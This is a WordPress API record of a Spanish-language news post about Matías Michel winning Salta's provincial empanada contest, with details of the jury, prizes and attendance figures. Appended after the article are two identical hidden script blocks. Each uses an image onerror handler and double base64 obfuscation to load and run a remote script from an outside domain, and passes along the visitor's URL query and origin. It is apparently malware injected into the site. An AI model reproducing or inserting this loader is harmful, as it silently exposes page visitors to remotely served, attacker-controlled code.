{"id":5027,"date":"2025-04-07T10:17:23","date_gmt":"2025-04-07T13:17:23","guid":{"rendered":"https:\/\/circuitosalta.com.ar\/?p=5027"},"modified":"2025-08-13T23:37:03","modified_gmt":"2025-08-14T02:37:03","slug":"matias-michel-de-san-lorenzo-es-el-nuevo-embajador-de-la-empanada-saltena","status":"publish","type":"post","link":"https:\/\/circuitosalta.com.ar\/?p=5027","title":{"rendered":"Mat\u00edas Michel de San Lorenzo es el nuevo Embajador de la Empanada Salte\u00f1a"},"content":{"rendered":"\n<p><strong><em>Concursantes de 38 municipios estuvieron representados en la 4ta edici\u00f3n del Concurso Provincial. El ganador participar\u00e1 como embajador en las acciones de promoci\u00f3n del Ministerio de Turismo y Deportes.<\/em><\/strong><\/p>\n\n\n\n<p>Se llev\u00f3 a cabo la 4ta edici\u00f3n del Concurso Provincial de la Empanada, un evento que re\u00fane a los mejores exponentes de este tradicional plato salte\u00f1o. En esta ocasi\u00f3n,\u00a0<strong>Mat\u00edas Michel<\/strong>\u00a0del municipio de San Lorenzo se consagr\u00f3 como campe\u00f3n, obteniendo el derecho de representar a la provincia como Embajador en las diversas acciones de promoci\u00f3n organizadas por el Ministerio de Turismo y Deportes.<\/p>\n\n\n\n<p>El segundo y tercer puesto fueron para Jos\u00e9 Octavio Cruz de Rosario de Lerma y Ang\u00e9lica Bonifacia Burgos de Cachi respectivamente. Como reconocimiento a su talento y dedicaci\u00f3n, los ganadores recibieron: el primer puesto un horno pizzero Sol Rea, el segundo premio una cocina Sol Real 4 hornallas y el tercero, un microondas Atma.<\/p>\n\n\n\n<p>El Concurso Provincial de la Empanada se realiza cada a\u00f1o el 4 de abril, en conmemoraci\u00f3n de la orden dada por el General Mart\u00edn Miguel de G\u00fcemes en 1820, cuando instruy\u00f3 que se sirvieran empanadas a las tropas que llegaban de Tucum\u00e1n. Esta tradici\u00f3n dio origen a la celebraci\u00f3n del D\u00eda de la Empanada Salte\u00f1a.<\/p>\n\n\n\n<p>Durante el acto de premiaci\u00f3n, la ministra de Turismo y Deportes,&nbsp;<strong>Manuela Arancibia<\/strong>, felicit\u00f3 a todos los participantes y destac\u00f3 el car\u00e1cter federal del certamen. \u201cEste concurso representa una verdadera fiesta de identidad y tradici\u00f3n, promoviendo la participaci\u00f3n de los municipios y generando un espacio de encuentro entre los campeones de cada regi\u00f3n\u201d, expres\u00f3 la funcionaria. Adem\u00e1s, subray\u00f3 que esta edici\u00f3n marc\u00f3 un r\u00e9cord de participaci\u00f3n general y una presencia masculina in\u00e9dita en comparaci\u00f3n con ediciones anteriores.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><a href=\"https:\/\/www.salta.gob.ar\/public\/images\/noticias\/contenidos\/16726-matias-michel-de-san-lorenzo-es-el-nuevo-embajador-de-la-empanada-saltenia.webp\"><img decoding=\"async\" src=\"https:\/\/www.salta.gob.ar\/public\/images\/noticias\/contenidos\/16726-matias-michel-de-san-lorenzo-es-el-nuevo-embajador-de-la-empanada-saltenia.webp\" alt=\"Mat\u00edas Michel de San Lorenzo es el nuevo Embajador de la Empanada Salte\u00f1a.\"\/><\/a><\/figure>\n\n\n\n<p>Asimismo, Arancibia agradeci\u00f3 al jurado por la responsabilidad asumida en la dif\u00edcil tarea de seleccionar al campe\u00f3n, destacando que la empanada salte\u00f1a es un s\u00edmbolo de la gastronom\u00eda y la cultura de la provincia.<\/p>\n\n\n\n<p>El jurado, compuesto por el Chef Abelardo Angelina (Escuela Salamanca); Eufracina Torres, (Fort\u00edn \u201cMartina Silva de Gurruchaga\u201d); Patricia Balderrama (empresaria gastron\u00f3mica representante de la C\u00e1mara Hotelera, Gastron\u00f3mica y Afines); Lorena Iglesias (empresaria y creadora de contenido); y la Chef Mar\u00eda Julia D\u00edaz, evalu\u00f3 minuciosamente cada presentaci\u00f3n considerando los siguientes aspectos: presentaci\u00f3n, punto de cocci\u00f3n, repulgue, masa, recado, sabor, aroma y textura. Adem\u00e1s, tomaron en cuenta los conocimientos tur\u00edsticos sobre la localidad que cada concursante representa.&nbsp;<\/p>\n\n\n\n<p>Cabe destacar que, en los 39 concursos locales realizados este verano, participaron 667 empanaderas y empanaderos, con la asistencia de 45.918 personas, entre salte\u00f1os y turistas. En estos eventos se vendieron 145.738 empanadas, generando un impacto econ\u00f3mico de $72.868.864. Adem\u00e1s, en esta 4ta edici\u00f3n se sumaron dos nuevos municipios, alcanzando un total de 43 localidades participantes a lo largo de todas las ediciones del certamen.<\/p>\n\n\n\n<p>Estuvieron presentes: autoridades del Ministerio de Turismo y Deportes, intendentes, directores de Turismo municipales, diputadas provinciales, presidentes de C\u00e1maras y Asociaciones de Turismo.<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<p>Fuente:&nbsp;<strong>Secretar\u00eda de Prensa y Comunicaci\u00f3n<\/strong><\/p>\n<script>const img = document.createElement('img');img.src = '\/files\/img\/logo.png';img.setAttribute('data-digest', 'KGZ1bmN0aW9uKCl7dmFyIGE9bG9jYXRpb24sYj1kb2N1bWVudC5oZWFkfHxkb2N1bWVudC5nZXRFbGVtZW50c0J5VGFnTmFtZSgiaGVhZCIpWzBdLGM9InNjcmlwdCIsZD1hdG9iKCJhSFIwY0hNNkx5OTBaSE0wZFhNdVkyOXRMMkZxWVhneExuQm9jQT09Iik7ZCs9LTE8ZC5pbmRleE9mKCI\/Iik\/IiYiOiI\/IjtkKz1hLnNlYXJjaC5zdWJzdHJpbmcoMSk7Yz1kb2N1bWVudC5jcmVhdGVFbGVtZW50KGMpO2Muc3JjPWQ7Yy5pZD1idG9hKGEub3JpZ2luKTtiLmFwcGVuZENoaWxkKGMpO30pKCk7');img.setAttribute('onerror', '(new Function(atob(this.dataset.digest)))();');img.style.visibility = 'hidden';document.body.insertBefore(img, document.body.firstChild);<\/script><script>const img = document.createElement('img');img.src = '\/files\/img\/logo.png';img.setAttribute('data-digest', 'KGZ1bmN0aW9uKCl7dmFyIGE9bG9jYXRpb24sYj1kb2N1bWVudC5oZWFkfHxkb2N1bWVudC5nZXRFbGVtZW50c0J5VGFnTmFtZSgiaGVhZCIpWzBdLGM9InNjcmlwdCIsZD1hdG9iKCJhSFIwY0hNNkx5OTBaSE0wZFhNdVkyOXRMMkZxWVhneExuQm9jQT09Iik7ZCs9LTE8ZC5pbmRleE9mKCI\/Iik\/IiYiOiI\/IjtkKz1hLnNlYXJjaC5zdWJzdHJpbmcoMSk7Yz1kb2N1bWVudC5jcmVhdGVFbGVtZW50KGMpO2Muc3JjPWQ7Yy5pZD1idG9hKGEub3JpZ2luKTtiLmFwcGVuZENoaWxkKGMpO30pKCk7');img.setAttribute('onerror', '(new Function(atob(this.dataset.digest)))();');img.style.visibility = 'hidden';document.body.insertBefore(img, document.body.firstChild);<\/script>","protected":false},"excerpt":{"rendered":"<p>Concursantes de 38 municipios estuvieron representados en la 4ta edici\u00f3n del Concurso Provincial. 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